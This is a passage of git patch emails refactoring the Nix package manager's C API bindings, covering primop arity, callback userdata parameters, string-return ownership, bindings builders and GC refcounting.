*value, + Expr *expr); +/**@}*/ + +/** @brief Create a bindings builder + +* @param[out] context Optional, stores error information +* @param[in] state nix evaluator state +* @param[in] capacity how many bindings you'll add. Don't exceed. +* @return owned reference to a bindings builder. Make sure to unref when you're +done. +*/ +BindingsBuilder *nix_make_bindings_builder(nix_c_context *context, State *state, + size_t capacity); +/** @brief Insert bindings into a builder + * @param[out] context Optional, stores error information + * @param[in] builder BindingsBuilder to insert into + * @param[in] name attribute name, copied into the symbol store + * @param[in] value value to give the binding + * @return error code, NIX_OK on success. + */ +nix_err nix_bindings_builder_insert(nix_c_context *context, + BindingsBuilder *builder, const char *name, + Value *value); +/** @brief Unref a bindings builder + * + * Does not fail. + * It'll be deallocated when all references are gone. + * @param[in] builder the builder to unref + */ +void nix_bindings_builder_unref(BindingsBuilder *builder); + +// cffi end +#ifdef __cplusplus +} +#endif + +#endif // NIX_API_VALUE_H diff --git a/src/libexpr/search-path.cc b/src/libexpr/search-path.cc index a25767496..e2c3e050a 100644 --- a/src/libexpr/search-path.cc +++ b/src/libexpr/search-path.cc @@ -44,7 +44,7 @@ SearchPath::Elem SearchPath::Elem::parse(std::string_view rawElem) } -SearchPath parseSearchPath(const Strings & rawElems) +SearchPath SearchPath::parse(const Strings & rawElems) { SearchPath res; for (auto & rawElem : rawElems) diff --git a/src/libexpr/value.hh b/src/libexpr/value.hh index 335801b34..b7b3c6434 100644 --- a/src/libexpr/value.hh +++ b/src/libexpr/value.hh @@ -328,6 +328,7 @@ public: } void mkPath(const SourcePath & path); + void mkPath(std::string_view path); inline void mkPath(InputAccessor * accessor, const char * path) { From 748b322dddaf0e789ed7dfa920523e7f19ebbe09 Mon Sep 17 00:00:00 2001 From: Puck Meerburg Date: Sun, 23 Jul 2023 11:32:17 +0000 Subject: [PATCH 0309/1251] nix_api_value: fix primop arity --- src/libexpr/nix_api_value.cc | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/src/libexpr/nix_api_value.cc b/src/libexpr/nix_api_value.cc index f58500367..ba36fdc3c 100644 --- a/src/libexpr/nix_api_value.cc +++ b/src/libexpr/nix_api_value.cc @@ -42,7 +42,11 @@ PrimOp *nix_alloc_primop(nix_c_context *context, PrimOpFun fun, int arity, #ifdef HAVE_BOEHMGC (GC) #endif - nix::PrimOp{.name = name, .args = {}, .doc = doc, .fun = fun2}; + nix::PrimOp{.name = name, + .args = {}, + .arity = (size_t)arity, + .doc = doc, + .fun = fun2}; if (args) for (size_t i = 0; args[i]; i++) p->args.emplace_back(*args); From 4a4936136bda3e1d4b32dd49ef6af7653388eaa0 Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Thu, 27 Jul 2023 12:59:09 +0200 Subject: [PATCH 0310/1251] nix_api_value: fix documentation for get_attr_byname --- src/libexpr/nix_api_value.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libexpr/nix_api_value.h b/src/libexpr/nix_api_value.h index 5ecedefeb..125189c94 100644 --- a/src/libexpr/nix_api_value.h +++ b/src/libexpr/nix_api_value.h @@ -194,7 +194,7 @@ Value *nix_get_attr_byname(nix_c_context *context, const Value *value, * @param[in] value Nix value to inspect * @param[in] state nix evaluator state * @param[in] name attribute name - * @return value, NULL in case of errors + * @return value, error info via context */ bool nix_has_attr_byname(nix_c_context *context, const Value *value, State *state, const char *name); From c3b5b8eb629f05edf5c66f9d1c8c86492b215a9f Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Thu, 27 Jul 2023 13:10:17 +0200 Subject: [PATCH 0311/1251] nix_api_expr, store: fix minor documentation issues --- src/libexpr/nix_api_expr.h | 5 +++-- src/libstore/nix_api_store.h | 2 +- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/src/libexpr/nix_api_expr.h b/src/libexpr/nix_api_expr.h index 90aec8d18..f99fee1b1 100644 --- a/src/libexpr/nix_api_expr.h +++ b/src/libexpr/nix_api_expr.h @@ -41,7 +41,7 @@ typedef void Value; // nix::Value */ typedef struct GCRef GCRef; // void* -// Function propotypes +// Function prototypes /** * @brief Initializes the Nix expression evaluator. * @@ -76,7 +76,8 @@ Expr *nix_parse_expr_from_string(nix_c_context *context, State *state, * @param[out] context Optional, stores error information * @param[in] state The state of the evaluation. * @param[in] expr The Nix expression to evaluate. - * @param[in] value The result of the evaluation. + * @param[out] value The result of the evaluation. You should allocate this + * yourself. * @return NIX_OK if the evaluation was successful, an error code otherwise. */ nix_err nix_expr_eval(nix_c_context *context, State *state, Expr *expr, diff --git a/src/libstore/nix_api_store.h b/src/libstore/nix_api_store.h index 1ab7a4eb7..ba7b9ec5e 100644 --- a/src/libstore/nix_api_store.h +++ b/src/libstore/nix_api_store.h @@ -1,7 +1,7 @@ #ifndef NIX_API_STORE_H #define NIX_API_STORE_H /** @file - * @brief Main entry for the libexpr C bindings + * @brief Main entry for the libstore C bindings */ #include "nix_api_util.h" From efcddcdd2f58c7a83db77cbe102555331db6656e Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Thu, 27 Jul 2023 13:11:25 +0200 Subject: [PATCH 0312/1251] nix_api_external: fix missing void* self param --- src/libexpr/nix_api_external.cc | 4 ++-- src/libexpr/nix_api_external.h | 9 ++++++--- 2 files changed, 8 insertions(+), 5 deletions(-) diff --git a/src/libexpr/nix_api_external.cc b/src/libexpr/nix_api_external.cc index 971a175fb..5fe0819f4 100644 --- a/src/libexpr/nix_api_external.cc +++ b/src/libexpr/nix_api_external.cc @@ -139,7 +139,7 @@ public: } nix_string_context ctx{context}; std::unique_ptr r( - desc.printValueAsJSON((State *)&state, strict, &ctx, copyToStore)); + desc.printValueAsJSON(v, (State *)&state, strict, &ctx, copyToStore)); if (!r) { return nix::ExternalValueBase::printValueAsJSON(state, strict, context, copyToStore); @@ -160,7 +160,7 @@ public: state, strict, location, doc, context, drvsSeen, pos); } nix_string_context ctx{context}; - desc.printValueAsXML((State *)&state, strict, location, &doc, &ctx, + desc.printValueAsXML(v, (State *)&state, strict, location, &doc, &ctx, &drvsSeen, *reinterpret_cast(&pos)); } diff --git a/src/libexpr/nix_api_external.h b/src/libexpr/nix_api_external.h index 2bb53e349..66d289bac 100644 --- a/src/libexpr/nix_api_external.h +++ b/src/libexpr/nix_api_external.h @@ -132,6 +132,7 @@ typedef struct NixCExternalValueDesc { * @brief Convert the external value to json * * Optional, the default is to throw an error + * @param[in] self the void* passed to nix_create_external_value * @param[in] state The evaluator state * @param[in] strict boolean Whether to force the value before printing * @param[out] c writable string context for the resulting string @@ -140,7 +141,7 @@ typedef struct NixCExternalValueDesc { * @returns string that gets parsed as json. Optional, returning NULL will * make the conversion throw an error. */ - nix_returned_string *(*printValueAsJSON)(State *, int strict, + nix_returned_string *(*printValueAsJSON)(void *self, State *, int strict, nix_string_context *c, bool copyToStore); /** @@ -149,6 +150,7 @@ typedef struct NixCExternalValueDesc { * Optional, the default is to throw an error * @todo The mechanisms for this call are incomplete. There are no C * bindings to work with XML, pathsets and positions. + * @param[in] self the void* passed to nix_create_external_value * @param[in] state The evaluator state * @param[in] strict boolean Whether to force the value before printing * @param[in] location boolean Whether to include position information in the @@ -158,8 +160,9 @@ typedef struct NixCExternalValueDesc { * @param[in,out] drvsSeen a path set to avoid duplicating derivations * @param[in] pos The position of the call. */ - void (*printValueAsXML)(State *, int strict, int location, void *doc, - nix_string_context *c, void *drvsSeen, int pos); + void (*printValueAsXML)(void *self, State *, int strict, int location, + void *doc, nix_string_context *c, void *drvsSeen, + int pos); } NixCExternalValueDesc; /** From 1e583c4ebd2d475f9352192331f35727f4455b1b Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Thu, 27 Jul 2023 13:14:40 +0200 Subject: [PATCH 0313/1251] nix_api_value: nix_{get,set}_double -> nix_{get,set}_float --- src/libexpr/nix_api_value.cc | 4 ++-- src/libexpr/nix_api_value.h | 8 ++++---- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/src/libexpr/nix_api_value.cc b/src/libexpr/nix_api_value.cc index ba36fdc3c..4a4a56ac3 100644 --- a/src/libexpr/nix_api_value.cc +++ b/src/libexpr/nix_api_value.cc @@ -170,7 +170,7 @@ unsigned int nix_get_attrs_size(nix_c_context *context, const Value *value) { NIXC_CATCH_ERRS_RES(0); } -double nix_get_double(nix_c_context *context, const Value *value) { +double nix_get_float(nix_c_context *context, const Value *value) { if (context) context->last_err_code = NIX_OK; try { @@ -299,7 +299,7 @@ nix_err nix_set_path_string(nix_c_context *context, Value *value, NIXC_CATCH_ERRS } -nix_err nix_set_double(nix_c_context *context, Value *value, double d) { +nix_err nix_set_float(nix_c_context *context, Value *value, double d) { if (context) context->last_err_code = NIX_OK; try { diff --git a/src/libexpr/nix_api_value.h b/src/libexpr/nix_api_value.h index 125189c94..6d1604a6f 100644 --- a/src/libexpr/nix_api_value.h +++ b/src/libexpr/nix_api_value.h @@ -151,7 +151,7 @@ unsigned int nix_get_attrs_size(nix_c_context *context, const Value *value); * @param[in] value Nix value to inspect * @return float contents, error info via context */ -double nix_get_double(nix_c_context *context, const Value *value); +double nix_get_float(nix_c_context *context, const Value *value); /** @brief Get int value * @param[out] context Optional, stores error information * @param[in] value Nix value to inspect @@ -236,13 +236,13 @@ nix_err nix_set_string(nix_c_context *context, Value *value, const char *str); */ nix_err nix_set_path_string(nix_c_context *context, Value *value, const char *str); -/** @brief Set a double +/** @brief Set a float * @param[out] context Optional, stores error information * @param[out] value Nix value to modify - * @param[in] d the double + * @param[in] d the float, 64-bits * @return error code, NIX_OK on success. */ -nix_err nix_set_double(nix_c_context *context, Value *value, double d); +nix_err nix_set_float(nix_c_context *context, Value *value, double d); /** @brief Set an int * @param[out] context Optional, stores error information * @param[out] value Nix value to modify From 1777e4a5bb40a98c1c70b2baa4f5485373d46564 Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Thu, 27 Jul 2023 14:51:23 +0200 Subject: [PATCH 0314/1251] nix_api_store: add userdata param to nix_store_build --- src/libstore/nix_api_store.cc | 6 ++++-- src/libstore/nix_api_store.h | 5 ++++- 2 files changed, 8 insertions(+), 3 deletions(-) diff --git a/src/libstore/nix_api_store.cc b/src/libstore/nix_api_store.cc index 312e5f2a8..c81ad49ee 100644 --- a/src/libstore/nix_api_store.cc +++ b/src/libstore/nix_api_store.cc @@ -93,7 +93,9 @@ StorePath *nix_store_parse_path(nix_c_context *context, Store *store, } nix_err nix_store_build(nix_c_context *context, Store *store, StorePath *path, - void (*iter)(const char *, const char *)) { + void *userdata, + void (*iter)(void *userdata, const char *, + const char *)) { if (context) context->last_err_code = NIX_OK; try { @@ -107,7 +109,7 @@ nix_err nix_store_build(nix_c_context *context, Store *store, StorePath *path, for (auto &[outputName, outputPath] : store->ptr->queryDerivationOutputMap(path->path)) { auto op = store->ptr->printStorePath(outputPath); - iter(outputName.c_str(), op.c_str()); + iter(userdata, outputName.c_str(), op.c_str()); } } } diff --git a/src/libstore/nix_api_store.h b/src/libstore/nix_api_store.h index ba7b9ec5e..6157faa82 100644 --- a/src/libstore/nix_api_store.h +++ b/src/libstore/nix_api_store.h @@ -98,10 +98,13 @@ bool nix_store_is_valid_path(nix_c_context *context, Store *store, * @param[out] context Optional, stores error information * @param[in] store nix store reference * @param[in] path Path to build + * @param[in] userdata data to pass to every callback invocation * @param[in] cb called for every built output */ nix_err nix_store_build(nix_c_context *context, Store *store, StorePath *path, - void (*cb)(const char *outname, const char *out)); + void *userdata, + void (*cb)(void *userdata, const char *outname, + const char *out)); /** * @brief get the version of a nix store From aa85f7d917850b352d35069f24550e20e0c6ff4c Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Thu, 27 Jul 2023 15:57:48 +0200 Subject: [PATCH 0315/1251] nix_api_expr: merge nix_parse_expr and nix_expr_eval, remove Expr --- src/libexpr/nix_api_expr.cc | 22 +++++----------------- src/libexpr/nix_api_expr.h | 33 ++++++--------------------------- src/libexpr/nix_api_value.cc | 11 ----------- src/libexpr/nix_api_value.h | 11 ----------- 4 files changed, 11 insertions(+), 66 deletions(-) diff --git a/src/libexpr/nix_api_expr.cc b/src/libexpr/nix_api_expr.cc index df8a66053..46c8835f2 100644 --- a/src/libexpr/nix_api_expr.cc +++ b/src/libexpr/nix_api_expr.cc @@ -39,27 +39,15 @@ nix_err nix_libexpr_init(nix_c_context *context) { NIXC_CATCH_ERRS } -Expr *nix_parse_expr_from_string(nix_c_context *context, State *state, - const char *expr, const char *path, - GCRef *ref) { +nix_err nix_expr_eval_from_string(nix_c_context *context, State *state, + const char *expr, const char *path, + Value *value) { if (context) context->last_err_code = NIX_OK; try { - Expr *result = state->state.parseExprFromString( + nix::Expr *parsedExpr = state->state.parseExprFromString( expr, state->state.rootPath(nix::CanonPath(path))); - if (ref) - ref->ptr = result; - return result; - } - NIXC_CATCH_ERRS_NULL -} - -nix_err nix_expr_eval(nix_c_context *context, State *state, Expr *expr, - Value *value) { - if (context) - context->last_err_code = NIX_OK; - try { - state->state.eval((nix::Expr *)expr, *(nix::Value *)value); + state->state.eval(parsedExpr, *(nix::Value *)value); } NIXC_CATCH_ERRS } diff --git a/src/libexpr/nix_api_expr.h b/src/libexpr/nix_api_expr.h index f99fee1b1..e53aa5cd9 100644 --- a/src/libexpr/nix_api_expr.h +++ b/src/libexpr/nix_api_expr.h @@ -13,12 +13,6 @@ extern "C" { // cffi start // Type definitions -/** - * @brief Represents a parsed nix Expression, can be evaluated into a Value. - * - * Owned by the GC. - */ -typedef void Expr; // nix::Expr /** * @brief Represents a nix evaluator state. * @@ -54,34 +48,19 @@ typedef struct GCRef GCRef; // void* nix_err nix_libexpr_init(nix_c_context *context); /** - * @brief Parses a Nix expression from a string. - * - * The returned expression is owned by the garbage collector. - * Pass a gcref to keep a reference. - * - * @param[out] context Optional, stores error information - * @param[in] state Evaluator state. - * @param[in] expr The Nix expression to parse. - * @param[in] path The file path to associate with the expression. - * @param[out] ref Optional, will store a reference to the returned value. - * @return A parsed expression or NULL on failure. - */ -Expr *nix_parse_expr_from_string(nix_c_context *context, State *state, - const char *expr, const char *path, - GCRef *ref); - -/** - * @brief Evaluates a parsed Nix expression. + * @brief Parses and evaluates a Nix expression from a string. * * @param[out] context Optional, stores error information * @param[in] state The state of the evaluation. - * @param[in] expr The Nix expression to evaluate. + * @param[in] expr The Nix expression to parse. + * @param[in] path The file path to associate with the expression. * @param[out] value The result of the evaluation. You should allocate this * yourself. * @return NIX_OK if the evaluation was successful, an error code otherwise. */ -nix_err nix_expr_eval(nix_c_context *context, State *state, Expr *expr, - Value *value); +nix_err nix_expr_eval_from_string(nix_c_context *context, State *state, + const char *expr, const char *path, + Value *value); /** * @brief Calls a Nix function with an argument. diff --git a/src/libexpr/nix_api_value.cc b/src/libexpr/nix_api_value.cc index 4a4a56ac3..6a2f19de9 100644 --- a/src/libexpr/nix_api_value.cc +++ b/src/libexpr/nix_api_value.cc @@ -386,17 +386,6 @@ nix_err nix_copy_value(nix_c_context *context, Value *value, Value *source) { NIXC_CATCH_ERRS } -nix_err nix_set_thunk(nix_c_context *context, State *s, Value *value, - Expr *expr) { - if (context) - context->last_err_code = NIX_OK; - try { - auto &v = check_value_not_null(value); - s->state.mkThunk_(v, (nix::Expr *)expr); - } - NIXC_CATCH_ERRS -} - typedef std::shared_ptr BindingsBuilder_Inner; nix_err nix_make_attrs(nix_c_context *context, Value *value, diff --git a/src/libexpr/nix_api_value.h b/src/libexpr/nix_api_value.h index 6d1604a6f..22ecfa86b 100644 --- a/src/libexpr/nix_api_value.h +++ b/src/libexpr/nix_api_value.h @@ -32,7 +32,6 @@ typedef enum { // forward declarations typedef void Value; -typedef void Expr; typedef struct State State; typedef struct GCRef GCRef; // type defs @@ -307,16 +306,6 @@ nix_err nix_set_primop(nix_c_context *context, Value *value, PrimOp *op); * @return error code, NIX_OK on success. */ nix_err nix_copy_value(nix_c_context *context, Value *value, Value *source); -/** @brief Make a thunk from an expr. - * - * Expr will be evaluated when the value is forced - * @param[out] context Optional, stores error information - * @param[out] value Nix value to modify - * @param[in] expr the expr to thunk - * @return error code, NIX_OK on success. - */ -nix_err nix_set_thunk(nix_c_context *context, State *s, Value *value, - Expr *expr); /**@}*/ /** @brief Create a bindings builder From 022b918db171c9614e7c27f633452fb2bf9e6c57 Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Thu, 27 Jul 2023 15:58:18 +0200 Subject: [PATCH 0316/1251] nix_api_expr: remove bindingsbuilder refcounting --- src/libexpr/nix_api_expr_internal.h | 7 ++++++- src/libexpr/nix_api_value.cc | 27 ++++++++++++++------------- src/libexpr/nix_api_value.h | 14 +++++++------- 3 files changed, 27 insertions(+), 21 deletions(-) diff --git a/src/libexpr/nix_api_expr_internal.h b/src/libexpr/nix_api_expr_internal.h index 424ca2874..e9031d311 100644 --- a/src/libexpr/nix_api_expr_internal.h +++ b/src/libexpr/nix_api_expr_internal.h @@ -4,7 +4,8 @@ // forward declaration namespace nix { class EvalState; -}; +class BindingsBuilder; +}; // namespace nix struct State { nix::EvalState state; @@ -14,4 +15,8 @@ struct GCRef { void *ptr; }; +struct BindingsBuilder { + nix::BindingsBuilder builder; +}; + #endif // NIX_API_EXPR_INTERNAL_H diff --git a/src/libexpr/nix_api_value.cc b/src/libexpr/nix_api_value.cc index 6a2f19de9..74e8395fc 100644 --- a/src/libexpr/nix_api_value.cc +++ b/src/libexpr/nix_api_value.cc @@ -386,16 +386,13 @@ nix_err nix_copy_value(nix_c_context *context, Value *value, Value *source) { NIXC_CATCH_ERRS } -typedef std::shared_ptr BindingsBuilder_Inner; - nix_err nix_make_attrs(nix_c_context *context, Value *value, BindingsBuilder *b) { if (context) context->last_err_code = NIX_OK; try { auto &v = check_value_not_null(value); - nix::BindingsBuilder &builder = **(BindingsBuilder_Inner *)b; - v.mkAttrs(builder); + v.mkAttrs(b->builder); } NIXC_CATCH_ERRS } @@ -406,10 +403,11 @@ BindingsBuilder *nix_make_bindings_builder(nix_c_context *context, State *state, context->last_err_code = NIX_OK; try { auto bb = state->state.buildBindings(capacity); - auto res = new BindingsBuilder_Inner(); - *res = std::allocate_shared( - traceable_allocator(), bb); - return res; + return new +#if HAVE_BOEHMGC + (NoGC) +#endif + BindingsBuilder{std::move(bb)}; } NIXC_CATCH_ERRS_NULL } @@ -419,14 +417,17 @@ nix_err nix_bindings_builder_insert(nix_c_context *context, BindingsBuilder *b, if (context) context->last_err_code = NIX_OK; try { - nix::BindingsBuilder &builder = **(BindingsBuilder_Inner *)b; auto &v = check_value_not_null(value); - nix::Symbol s = builder.state.symbols.create(name); - builder.insert(s, &v); + nix::Symbol s = b->builder.state.symbols.create(name); + b->builder.insert(s, &v); } NIXC_CATCH_ERRS } -void nix_bindings_builder_unref(BindingsBuilder *bb) { - delete (BindingsBuilder_Inner *)bb; +void nix_bindings_builder_free(BindingsBuilder *bb) { +#if HAVE_BOEHMGC + GC_FREE((nix::BindingsBuilder *)bb); +#else + delete (nix::BindingsBuilder *)bb; +#endif } diff --git a/src/libexpr/nix_api_value.h b/src/libexpr/nix_api_value.h index 22ecfa86b..6aae5cf3c 100644 --- a/src/libexpr/nix_api_value.h +++ b/src/libexpr/nix_api_value.h @@ -36,11 +36,12 @@ typedef struct State State; typedef struct GCRef GCRef; // type defs /** @brief Stores an under-construction set of bindings - * Reference-counted - * @see nix_make_bindings_builder, nix_bindings_builder_unref, nix_make_attrs + * + * Do not reuse. + * @see nix_make_bindings_builder, nix_bindings_builder_free, nix_make_attrs * @see nix_bindings_builder_insert */ -typedef void BindingsBuilder; +typedef struct BindingsBuilder BindingsBuilder; /** @brief PrimOp function * @@ -328,13 +329,12 @@ BindingsBuilder *nix_make_bindings_builder(nix_c_context *context, State *state, nix_err nix_bindings_builder_insert(nix_c_context *context, BindingsBuilder *builder, const char *name, Value *value); -/** @brief Unref a bindings builder +/** @brief Free a bindings builder * * Does not fail. - * It'll be deallocated when all references are gone. - * @param[in] builder the builder to unref + * @param[in] builder the builder to free */ -void nix_bindings_builder_unref(BindingsBuilder *builder); +void nix_bindings_builder_free(BindingsBuilder *builder); // cffi end #ifdef __cplusplus From bebee700eadaf1bd8f15dca4db91033d8dd16b4e Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Fri, 28 Jul 2023 10:03:08 +0200 Subject: [PATCH 0317/1251] nix_api_external: own return strings on the nix side Change from nix_returned_string that passes ownership, into a nix_string_return parameter that can be set using nix_set_string_return. --- src/libexpr/nix_api_external.cc | 33 +++++++++++----------- src/libexpr/nix_api_external.h | 49 ++++++++++++++------------------- 2 files changed, 37 insertions(+), 45 deletions(-) diff --git a/src/libexpr/nix_api_external.cc b/src/libexpr/nix_api_external.cc index 5fe0819f4..1bf49f65a 100644 --- a/src/libexpr/nix_api_external.cc +++ b/src/libexpr/nix_api_external.cc @@ -20,7 +20,7 @@ #include "gc_cpp.h" #endif -struct nix_returned_string { +struct nix_string_return { std::string str; }; @@ -32,10 +32,9 @@ struct nix_string_context { nix::NixStringContext &ctx; }; -nix_returned_string *nix_external_alloc_string(const char *c) { - return new nix_returned_string{c}; +void nix_set_string_return(nix_string_return *str, const char *c) { + str->str = c; } -void nix_external_dealloc_string(nix_returned_string *str) { delete str; } nix_err nix_external_print(nix_c_context *context, nix_printer *printer, const char *c) { @@ -79,16 +78,18 @@ public: * Return a simple string describing the type */ virtual std::string showType() const override { - std::unique_ptr r(desc.showType(v)); - return std::move(r->str); + nix_string_return res; + desc.showType(v, &res); + return std::move(res.str); } /** * Return a string to be used in builtins.typeOf */ virtual std::string typeOf() const override { - std::unique_ptr r(desc.typeOf(v)); - return std::move(r->str); + nix_string_return res; + desc.typeOf(v, &res); + return std::move(res.str); } /** @@ -103,14 +104,14 @@ public: copyToStore); } nix_string_context ctx{context}; + nix_string_return res{""}; // todo: pos, errors - std::unique_ptr r( - desc.coerceToString(v, &ctx, copyMore, copyToStore)); - if (!r) { + desc.coerceToString(v, &ctx, copyMore, copyToStore, &res); + if (res.str.empty()) { return nix::ExternalValueBase::coerceToString(pos, context, copyMore, copyToStore); } - return std::move(r->str); + return std::move(res.str); } /** @@ -138,13 +139,13 @@ public: copyToStore); } nix_string_context ctx{context}; - std::unique_ptr r( - desc.printValueAsJSON(v, (State *)&state, strict, &ctx, copyToStore)); - if (!r) { + nix_string_return res{""}; + desc.printValueAsJSON(v, (State *)&state, strict, &ctx, copyToStore, &res); + if (res.str.empty()) { return nix::ExternalValueBase::printValueAsJSON(state, strict, context, copyToStore); } - return nlohmann::json::parse(r->str); + return nlohmann::json::parse(res.str); } /** diff --git a/src/libexpr/nix_api_external.h b/src/libexpr/nix_api_external.h index 66d289bac..4521f4736 100644 --- a/src/libexpr/nix_api_external.h +++ b/src/libexpr/nix_api_external.h @@ -17,9 +17,10 @@ extern "C" { // cffi start /** - * @brief Represents a string meant for consumption by nix. + * @brief Represents a string owned by nix. + * @see nix_set_owned_string */ -typedef struct nix_returned_string nix_returned_string; +typedef struct nix_string_return nix_string_return; /** * @brief Wraps a stream that can output multiple string pieces. */ @@ -30,23 +31,13 @@ typedef struct nix_printer nix_printer; typedef struct nix_string_context nix_string_context; /** - * @brief Allocate a nix_returned_string from a const char*. + * @brief Sets the contents of a nix_string_return * * Copies the passed string. - * @param[in] c The string to copy - * @returns A nix_returned_string* + * @param[out] str the nix_string_return to write to + * @param[in] c The string to copy */ -nix_returned_string *nix_external_alloc_string(const char *c); - -/** - * @brief Deallocate a nix_returned_string - * - * There's generally no need to call this, since - * returning the string will pass ownership to nix, - * but you can use it in case of errors. - * @param[in] str The string to deallocate - */ -void nix_external_dealloc_string(nix_returned_string *str); +void nix_set_string_return(nix_string_return *str, const char *c); /** * Print to the nix_printer @@ -91,15 +82,15 @@ typedef struct NixCExternalValueDesc { /** * @brief Called on :t * @param[in] self the void* passed to nix_create_external_value - * @returns a nix_returned_string, ownership passed to nix + * @param[out] res the return value */ - nix_returned_string *(*showType)(void *self); // std::string + void (*showType)(void *self, nix_string_return *res); /** * @brief Called on `builtins.typeOf` * @param self the void* passed to nix_create_external_value - * @returns a nix_returned_string, ownership passed to nix + * @param[out] res the return value */ - nix_returned_string *(*typeOf)(void *self); // std::string + void (*typeOf)(void *self, nix_string_return *res); /** * @brief Called on "${str}" and builtins.toString. * @@ -111,11 +102,11 @@ typedef struct NixCExternalValueDesc { * instead of throwing an error * @param[in] copyToStore boolean, whether to copy referenced paths to store * or keep them as-is - * @returns a nix_returned_string, ownership passed to nix. Optional, - * returning NULL will make the conversion throw an error. + * @param[out] res the return value. Not touching this, or setting it to the + * empty string, will make the conversion throw an error. */ - nix_returned_string *(*coerceToString)(void *self, nix_string_context *c, - int coerceMore, int copyToStore); + void (*coerceToString)(void *self, nix_string_context *c, int coerceMore, + int copyToStore, nix_string_return *res); /** * @brief Try to compare two external values * @@ -138,12 +129,12 @@ typedef struct NixCExternalValueDesc { * @param[out] c writable string context for the resulting string * @param[in] copyToStore whether to copy referenced paths to store or keep * them as-is - * @returns string that gets parsed as json. Optional, returning NULL will - * make the conversion throw an error. + * @param[out] res the return value. Gets parsed as JSON. Not touching this, + * or setting it to the empty string, will make the conversion throw an error. */ - nix_returned_string *(*printValueAsJSON)(void *self, State *, int strict, - nix_string_context *c, - bool copyToStore); + void (*printValueAsJSON)(void *self, State *, int strict, + nix_string_context *c, bool copyToStore, + nix_string_return *res); /** * @brief Convert the external value to XML * From ded0ef6f6c775929ed94ef0415662258213b3bd9 Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Fri, 28 Jul 2023 10:49:21 +0200 Subject: [PATCH 0318/1251] nix_api_expr: switch to refcounting Remove GCRef, keep references in a map. Change to nix_gc_incref and nix_gc_decref, where users will mostly use nix_gc_decref. --- src/libexpr/nix_api_expr.cc | 48 +++++++++++++++++++---------- src/libexpr/nix_api_expr.h | 30 +++++++----------- src/libexpr/nix_api_expr_internal.h | 4 --- src/libexpr/nix_api_external.cc | 6 ++-- src/libexpr/nix_api_external.h | 7 ++--- src/libexpr/nix_api_value.cc | 28 ++++++++--------- src/libexpr/nix_api_value.h | 29 +++++++---------- 7 files changed, 71 insertions(+), 81 deletions(-) diff --git a/src/libexpr/nix_api_expr.cc b/src/libexpr/nix_api_expr.cc index 46c8835f2..1eb3693a2 100644 --- a/src/libexpr/nix_api_expr.cc +++ b/src/libexpr/nix_api_expr.cc @@ -16,6 +16,7 @@ #include "nix_api_util_internal.h" #ifdef HAVE_BOEHMGC +#include #define GC_INCLUDE_NEW 1 #include "gc_cpp.h" #endif @@ -100,27 +101,42 @@ State *nix_state_create(nix_c_context *context, const char **searchPath_c, void nix_state_free(State *state) { delete state; } -GCRef *nix_gc_ref(nix_c_context *context, void *obj) { - if (context) - context->last_err_code = NIX_OK; - try { -#if HAVE_BOEHMGC - return new (NoGC) GCRef{obj}; -#else - return new GCRef{obj}; -#endif +#ifdef HAVE_BOEHMGC +std::unordered_map< + const void *, unsigned int, std::hash, + std::equal_to, + traceable_allocator>> + nix_refcounts; + +std::mutex nix_refcount_lock; + +void nix_gc_incref(const void *p) { + std::scoped_lock lock(nix_refcount_lock); + auto f = nix_refcounts.find(p); + if (f != nix_refcounts.end()) { + f->second++; + } else { + nix_refcounts[p] = 1; } - NIXC_CATCH_ERRS_NULL } -void nix_gc_free(GCRef *ref) { -#if HAVE_BOEHMGC - GC_FREE(ref); -#else - delete ref; -#endif +void nix_gc_decref(const void *p) { + std::scoped_lock lock(nix_refcount_lock); + auto f = nix_refcounts.find(p); + if (f != nix_refcounts.end()) { + if (f->second == 1) + nix_refcounts.erase(f); + else + f->second--; + } + // todo: else { throw? } } +#else +void nix_gc_incref(const void *){}; +void nix_gc_decref(const void *){}; +#endif + void nix_gc_register_finalizer(void *obj, void *cd, void (*finalizer)(void *obj, void *cd)) { #ifdef HAVE_BOEHMGC diff --git a/src/libexpr/nix_api_expr.h b/src/libexpr/nix_api_expr.h index e53aa5cd9..ae2806343 100644 --- a/src/libexpr/nix_api_expr.h +++ b/src/libexpr/nix_api_expr.h @@ -26,14 +26,6 @@ typedef struct State State; // nix::EvalState * Owned by the GC. */ typedef void Value; // nix::Value -/** - * @brief Reference for the GC - * - * Nix uses a garbage collector that may not be able to see into - * your stack and heap. Keep GCRef objects around for every - * garbage-collected object that you want to keep alive. - */ -typedef struct GCRef GCRef; // void* // Function prototypes /** @@ -119,22 +111,22 @@ State *nix_state_create(nix_c_context *context, const char **searchPath, void nix_state_free(State *state); /** - * @brief Creates a new garbage collector reference. + * @brief Increase the GC refcount. * - * @param[out] context Optional, stores error information - * @param[in] obj The object to create a reference for. - * @return A new garbage collector reference or NULL on failure. + * The nix C api keeps alive objects by refcounting. + * When you're done with a refcounted pointer, call nix_gc_decref. + * + * Does not fail + * + * @param[in] object The object to keep alive */ -GCRef *nix_gc_ref(nix_c_context *context, void *obj); - +void nix_gc_incref(const void *); /** - * @brief Frees a garbage collector reference. + * @brief Decrease the GC refcount * - * Does not fail. - * - * @param[in] ref The reference to free. + * @param[in] object The object to stop referencing */ -void nix_gc_free(GCRef *ref); +void nix_gc_decref(const void *); /** * @brief Register a callback that gets called when the object is garbage diff --git a/src/libexpr/nix_api_expr_internal.h b/src/libexpr/nix_api_expr_internal.h index e9031d311..3ee3b18af 100644 --- a/src/libexpr/nix_api_expr_internal.h +++ b/src/libexpr/nix_api_expr_internal.h @@ -11,10 +11,6 @@ struct State { nix::EvalState state; }; -struct GCRef { - void *ptr; -}; - struct BindingsBuilder { nix::BindingsBuilder builder; }; diff --git a/src/libexpr/nix_api_external.cc b/src/libexpr/nix_api_external.cc index 1bf49f65a..d72adee80 100644 --- a/src/libexpr/nix_api_external.cc +++ b/src/libexpr/nix_api_external.cc @@ 